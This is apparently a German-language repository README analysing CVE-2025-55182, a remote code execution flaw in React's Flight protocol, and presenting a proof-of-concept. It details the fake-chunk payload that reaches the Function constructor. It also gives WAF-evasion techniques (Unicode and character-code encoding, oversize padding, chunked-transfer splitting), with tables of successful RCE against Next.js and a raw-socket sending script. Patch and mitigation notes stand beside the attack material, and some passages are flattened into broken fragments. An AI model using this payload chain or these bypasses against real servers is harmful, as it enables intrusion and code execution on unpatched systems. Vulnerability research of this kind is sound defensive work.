
Detaillierte technische Analyse und Proof-of-Concept-Exploit für CVE-2025-55182, eine kritische RCE-Schwachstelle in Reacts Flight Protocol. Behandelt Path Traversal, Fake Chunk Injection und WAF-Bypass-Techniken.
HINWEIS: Geschrieben von AI/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 ist eine kritische RCE-Schwachstelle im Flight-Protokoll von React. Die Angriffskette kombiniert Path Traversal + Fake-Chunk-Injection + $B-Handler-Missbrauch, um Function(attacker_code) auszuführen.
Großer Dank an maple3142 für die funktionierende Exploitation-Kette!
Der Exploit verwendet drei Formularfelder, um eine schädliche Payload zu konstruieren:
then (Feld 1 $@0 → Feld 0)_response ein, wobei _formData.get auf $1:constructor:constructor gesetzt ist$B-Handler aus, der response._formData.get(response._prefix + id) aufruft_formData.get → Function auf und führt Function(code) aus┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### Schlüsselkomponenten
| Komponente | Zweck |
|-----------|---------|
| `then: "$1:__proto__:then"` | Selbstreferenzierendes thenable; Chunk 1 (`$@0`) verweist zurück auf Chunk 0 |
| `status: "resolved_model"` | Lässt das Objekt als gültigen React-Chunk erscheinen |
| `reason: -1` | Setzt rootReference auf undefined (vermeidet Referenzkonflikte) |
| `value: '{"then":"$B1337"}'` | Verschachteltes Payload, das den `$B`-Handler auslöst |
| `_response._prefix` | Enthält den RCE-Code-String |
| `_response._chunks: "$Q2"` | Leere Map, um Abstürze während der Chunk-Verarbeitung zu verhindern |
| `_response._formData.get` | Zeigt auf `Function` via `$1:constructor:constructor` |
### Detailanalyse der Komponenten
#### Formularfeldstruktur
Der Exploit verwendet drei Formularfelder mit zirkulären Referenzen:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)The then: "$1:__proto__:then" erzeugt eine Selbstreferenz, die zu einer echten Funktion aufgelöst wird:```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**Warum dies kritisch ist:**
1. `then` wird zu `Chunk.prototype.then` – einer echten aufrufbaren Funktion
2. Dadurch wird das gefälschte Objekt zu einem gültigen Thenable
3. Wenn man es mit `await` erwartet, ruft JS `obj.then(resolve, reject)` auf
4. `Chunk.prototype.then` wird mit dem gefälschten Objekt als `this` ausgeführt:```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this) verwendet this._response - die gefälschte _response des Angreifers:```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**Ohne die Selbstreferenz** würde die gefälschte `_response` niemals verwendet werden. Die Selbstreferenz bewirkt, dass `Chunk.prototype.then` das Objekt des Angreifers als ein echtes Chunk behandelt.
#### Zweistufiger Thenable-Trigger (`value`)
Das `value`-Feld enthält einen verschachtelten JSON-String mit einem weiteren Thenable:```json
{"then":"$B1337"}
Stufe 1: Das selbstreferenzielle then des äußeren Objekts löst die Chunk-Verarbeitung aus
Stufe 2: Wenn React das Modell auflöst, parst es value und trifft auf ein weiteres thenable mit then: "$B1337". Das Präfix $B löst den Handler aus:```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` ist `"$1:constructor:constructor"` → `getOutlinedModel()` ergibt `Function`.
Das wird zu: `Function(code + "1337")` → gültiges JS, weil `1337` nur ein nachgestellter Ausdruck ist.
#### Defensive Padding (`_chunks`)
Die gefälschte `_response` benötigt eine gültige `_chunks`-Eigenschaft, um Abstürze zu verhindern:```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
Der interne Code von React kann während der Verarbeitung auf response._chunks.get() oder response._chunks.has() zugreifen. Eine leere Map erfüllt diese Aufrufe ohne Fehler und ermöglicht so die Ausführung des anfälligen $B-Handlers.
| Pfad | Funktion | Zweck im Exploit |
|---|---|---|
| Pfad-Traversal | getOutlinedModel() | Löst $1:constructor:constructor → Function auf |
Gefälschte _response-Injektion | initializeModelChunk() | Verwendet chunk._response des Angreifers |
$B-Handler | parseModelString() | Ruft _formData.get(_prefix + id) auf → RCE |
decodeReply() ist der Einstiegspunkt, selbst nicht anfällig.
Pfad-Traversal (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**Verwendung von Fake-Response** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B Handler RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
---
## Der Fix (19.2.1)
Der Patch enthält mehrere Korrekturen:
1. **`RESPONSE_SYMBOL` in `initializeModelChunk()`** - Kritischer Fix ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);
// AFTER: Symbol lookup (cannot be forged via JSON)
var response = chunk.reason[RESPONSE_SYMBOL];
value = reviveModel(response, ...);
hasOwnProperty-Prüfung in getOutlinedModel() - Blockiert Prototypen-Traversierung ```javascript
hasOwnProperty.call(value, name) && (value = value[name]);
__proto__-Handhabung in reviveModel() - Verhindert Prototype Pollution ```javascript
void 0 !== parentObj || "proto" === i
? (value[i] = parentObj)
: delete value[i];
initializeModelChunk() - Validiert Listener ```javascript
"function" === typeof listener
? listener(value)
: fulfillReference(response, listener, value);
| Fähigkeit | Status | Anmerkungen |
|---|---|---|
| Prototype chain traversal | ✓ Bestätigt | Über $1:constructor:constructor |
| Zugriff auf den Function-Konstruktor | ✓ Bestätigt | Kein Manifest erforderlich |
| Vollständige RCE | ✓ Bestätigt | Über gefälschten Chunk + $B-Handler |
Dieser Abschnitt erklärt, warum traditionelle Mustervergleichs-WAF-Regeln diesen Exploit nicht zuverlässig erkennen können. Das Verständnis dieser Einschränkungen ist für Sicherheitsteams, die ihre Verteidigungsposition bewerten, unerlässlich.
Die Exploit-Nutzlast durchläuft mehrere Parser, die jeweils unterschiedliche Kodierungsunterstützung haben. Eine WAF, die rohe HTTP-Bytes überprüft, sieht kodierte Zeichenfolgen, aber der Server dekodiert sie vor der Verarbeitung:
| Ebene | Parser | Dekodiert |
|---|---|---|
| JSON-Struktur | JSON.parse() | \uXXXX Unicode-Escape-Sequenzen |
| JavaScript-Code | Function()-Konstruktor | \uXXXX, \xXX, oktal, fromCharCode() |
Dies erzeugt eine grundlegende Diskrepanz: die WAF sieht kodierte Bytes, aber die Anwendung sieht dekodierte Zeichenfolgen.
Eine naive WAF könnte nach Mustern wie constructor, __proto__, resolved_model oder child_process suchen. Jedoch erlaubt JSON Unicode-Escape-Sequenzen für jedes Zeichen:
| Wörtliches Muster | Unicode-Äquivalent | WAF-Erkennung |
|---|---|---|
constructor | \u0063onstructor | Umgangen |
__proto__ | \u005f\u005fproto\u005f\u005f | Umgangen |
resolved_model | \u0072esolved_model | Umgangen |
$@ (zirkuläre Referenz) | $\u0040 | Umgangen |
JavaScript-Code innerhalb der Nutzlast hat noch mehr Kodierungsoptionen:
| Muster | Kodierungsoptionen |
|---|---|
process | \u0070rocess, String.fromCharCode(112,114,111,99,101,115,115) |
child_process | \x63hild_process, numerische Zeichencodes, base64 |
| Beliebiger Bezeichner | Klammernotation: this[S(112,114,...)] wobei S=String.fromCharCode |
Wenn alle Kodierungstechniken kombiniert werden:
\u0074\u0068\u0065\u006e für then)S(99,104,105,108,100,95,...) für child_process)Eine WAF, die den HTTP-Body scannt, sieht nur Escape-Sequenzen und Zahlen – nichts, das mit traditionellen Angriffssignaturen übereinstimmt.
Der Next-Action-Header identifiziert Server Action-Anfragen. Während Header-Namen nicht Unicode-kodiert werden können (RFC 7230 erfordert ASCII-Token), erzeugen Normalisierungsunterschiede zwischen WAF und Server Erkennungslücken:
| Variante | Server-Verhalten | WAF-Risiko |
|---|---|---|
next-action (Kleinschrift) | Akzeptiert (HTTP ist case-insensitiv) | Übersehen, wenn WAF genaue Groß-/Kleinschreibung erwartet |
Next-Action:\tx (Tab) | Akzeptiert (Leerzeichen normalisiert) | Übersehen, wenn WAF Leerzeichen erwartet |
Next-Action: x (Leerzeichen) | Akzeptiert | Übersehen ohne Normalisierung |
Patchen ist die einzige zuverlässige Gegenmaßnahme. WAF-Regeln können diesen Angriff aufgrund der Kodierungsflexibilität nicht umfassend blockieren.
Erforderliche Versionen:
Wenn das Patchen verzögert wird, beachten Sie:
\uXXXX, \xXX dekodieren und fromCharCode()-Aufrufe normalisieren, bevor Mustervergleich erfolgt_response, _prefix, _chunks oder zirkuläre Referenzen ($@0) enthaltennext-action-Header case-insensitiv mit Leerzeichenentfernung abNext-Action-Header vollständigFunction()-Aufrufen mit dynamischen String-ArgumentenWichtigste Erkenntnis: Mustervergleich allein wird gegen diese Angriffsklasse versagen. Die Kodierungsoberfläche ist zu groß, um sie aufzuzählen.
Selbst mit umfassenden WAF-Regeln hat AWS WAF Body-Inspection-Größenlimits, die ausgenutzt werden können. Dieser Abschnitt dokumentiert getestete Umgehungstechniken mit überdimensionalen Nutzlasten.
AWS WAF inspiziert nur einen Teil des Anfrage-Bodys:
| Backend | Standardlimit | Maximal konfigurierbar |
|---|---|---|
| ALB / AppSync | 8 KB | 8 KB |
| CloudFront / API Gateway | 16 KB | 64 KB |
| Amazon Cognito / App Runner | 16 KB | 64 KB |
OversizeHandling-ProblemWAF-Regeln legen fest, wie mit Anfragen umgegangen wird, die die Inspektionslimits überschreiten:
| Einstellung | Verhalten | Ausnutzbar? |
|---|---|---|
CONTINUE | Verfügbare Bytes inspizieren, Regel auswerten | Ja – Nutzlast nach Limit wird nicht inspiziert |
MATCH | Als Treffer behandeln (blockieren) | Nein – blockiert überdimensionierte Anfragen |
NO_MATCH | Als nicht treffend behandeln | Ja – wird durchgelassen |
Wenn Ihre WAF-Regel OversizeHandling: CONTINUE verwendet (häufige Standardeinstellung), ist die Umgehung trivial.
Platzieren Sie harmlose Padding-Daten vor der Exploit-Nutzlast, sodass sie außerhalb des Inspektionsfensters liegt:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘
### Testergebnisse
Alle übergroßen Payloads haben erfolgreich RCE auf Next.js erreicht:
| Padding-Größe | Gesamter Body | Exploit-Offset | Ergebnis |
|--------------|------------|----------------|--------|
| 0 KB | 0.6 KB | 0.4 KB | ✅ RCE |
| 8 KB | 8.6 KB | 8.4 KB | ✅ RCE |
| 16 KB | 16.6 KB | 16.5 KB | ✅ RCE |
| 32 KB | 32.6 KB | 32.5 KB | ✅ RCE |
| 64 KB | 64.6 KB | 64.5 KB | ✅ RCE |
| 128 KB | 128.6 KB | 128.5 KB | ✅ RCE |
### Umgehung der Chunked Transfer Encoding
HTTP/1.1 chunked transfer encoding teilt den Body in einzelne Chunks auf. Wenn eine WAF die Chunks **vor** der Zusammenführung prüft, werden Muster, die Chunk-Grenzen überspannen, nicht erkannt.
#### Wie es funktioniert```
HTTP Request with Transfer-Encoding: chunked
17f\r\n ← Chunk 1 size (hex)
...Content-Disposition: form-data; name="1"\r\n\r\n"$
\r\n
7b\r\n ← Chunk 2 size (hex)
@0"\r\n------WebKitFormBoundary...
\r\n
0\r\n\r\n ← Terminator
Muster über Chunks hinweg aufgeteilt:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)
#### Getestete Chunking-Strategien
| Strategie | Beschreibung | Ergebnis |
|-----------|--------------|----------|
| Aufteilung bei `$@` | `"$` \| `@0"` | ✅ RCE |
| 10-Byte-Fragmente | Body alle 10 Bytes aufgeteilt | ✅ RCE |
| 5-Byte-Fragmente | Body alle 5 Bytes aufgeteilt | ✅ RCE |
| Aufteilung bei `status` | `sta` \| `tus` | ✅ RCE |
Alle Strategien erreichten erfolgreich RCE - Next.js setzt fragmentierte Anfragen korrekt wieder zusammen.
#### Raw Socket Beispiel```javascript
const net = require('net');
const socket = new net.Socket();
socket.connect(3000, 'localhost', () => {
// Headers with chunked encoding
socket.write([
'POST / HTTP/1.1',
'Host: localhost:3000',
'Content-Type: multipart/form-data; boundary=----WebKit',
'Transfer-Encoding: chunked',
'Next-Action: test',
'', ''
].join('\r\n'));
// Chunk 1: everything up to and including "$
const chunk1 = '...payload ending with "$';
socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
// Chunk 2: "@0" and rest of payload
const chunk2 = '@0"\r\n...rest of payload';
socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
// Terminator
socket.write('0\r\n\r\n');
});
| WAF-Typ | Chunk-Handhabung | Umgehung möglich? |
|---|---|---|
| AWS WAF (ALB) | Setzt vor der Inspektion wieder zusammen | Unwahrscheinlich |
| AWS WAF (CloudFront) | Setzt vor der Inspektion wieder zusammen | Unwahrscheinlich |
| Einige ältere WAFs | Untersuchen pro Chunk | Ja |
| Nginx ModSecurity | Konfigurierbar | Hängt von der Konfiguration ab |
Hinweis: AWS WAF setzt chunked Bodies typischerweise vor der Inspektion wieder zusammen. Dies sollte jedoch pro Umgebung überprüft werden, da die Konfigurationen variieren.
OversizeHandling auf MATCH ```json
"OversizeHandling": "MATCH"
Dies blockiert jede Anfrage, die das Inspektionslimit überschreitet, wenn die Regelbedingungen erfüllt sind.
Erhöhung des Body-Inspektionslimits (nur CloudFront/API Gateway) Konfigurieren Sie bis zu 64 KB in den Web-ACL-Einstellungen, aber dies verhindert die Umgehung nicht vollständig.
Größenbasierte Blockierungsregel hinzufügen
Blockieren Sie POST-Anfragen mit dem Next-Action-Header, die eine angemessene Größe (z. B. 10 KB) überschreiten.
Die Anwendung patchen – Die einzige vollständige Lösung.
Siehe enthaltene Testskripte:
test-simple.cjs – Basis-Test mit nicht-gechunkten Payloadstest-oversize.cjs – Testet Padding-Größen von 0–128 KBtest-chunked-v2.cjs – Chunked Transfer Encoding mit $@-Aufteilungtest-chunked-bypass.cjs – Mehrere Chunking-Strategien (5-Byte, 10-Byte, Pattern-Splits)Verwendung:```bash
cd nextjs-test && npm run dev
node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies
## Forschungsreise
### Die Schwachstelle: Path Traversal```javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
reference = reference.split(":");
var id = parseInt(reference[0], 16);
var parentObject = response.chunks[id];
// PATH TRAVERSAL - no hasOwnProperty check!
for (var key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // VULNERABLE!
return map(response, parentObject);
}
Mit der Payload "$1:constructor:constructor":
chunk[1]["constructor"] → [Function: Object]Object["constructor"] → [Function: Function]Obwohl wir Function erhalten haben, erfordert die Ausführung von RCE, dass sie mit kontrollierten Argumenten aufgerufen wird. Diese Pfade schlugen fehl:
1. Thenable-Pfad (blockiert)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name
**2. decodeAction Path (Blocked)**```javascript
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body
3. Iterator-Pfad (Blockiert)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute
### Der Durchbruch
maple3142 fand das fehlende Teil: den `$B`-Handler + die gefälschte `_response`-Kette. Indem `then` über Selbstreferenz zu `Chunk.prototype.then` aufgelöst wird, wird die gefälschte `_response` verwendet, was RCE ermöglicht.
---
## Wichtige Erkenntnisse
1. **`getOutlinedModel()`-Schwachstelle ist real** - Durch Doppelpunkte getrennte Pfade erlauben Prototypketten-Durchlauf
2. **Function-Konstruktor ist zugänglich** - `$1:constructor:constructor` funktioniert ohne serverManifest
3. **RCE ist erreichbar** - Durch Erstellen eines gefälschten Chunks mit kontrolliertem `_response`:
- Selbstreferenz `$1:__proto__:then` → `Chunk.prototype.then` bewirkt, dass die gefälschte `_response` verwendet wird
- Die Struktur des gefälschten Chunks ahmt die interne Chunk-Klasse von React nach
- `_response._formData.get` → `Function`-Konstruktor
- `_response._prefix` → schädlicher Code-String
- `$B`-Handler löst `Function(schädlicher_code)` aus
4. **Der Fix ist umfassend** - Mehrere `hasOwnProperty`-Prüfungen und Typvalidierungen
---
## Referenzen
- [maple3142's Gist](https://gist.github.com/maple3142) - Entdeckung der RCE-Kette
- [React Security Advisory](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [msanft PoC](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)
- [AWS WAF Rule](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
---
## Haftungsausschluss
Dieses Repository dient ausschließlich **zu Bildungs- und defensiven Sicherheitsforschungszwecken**. Die Schwachstelle wurde gepatcht. Aktualisieren Sie Ihre Abhängigkeiten umgehend.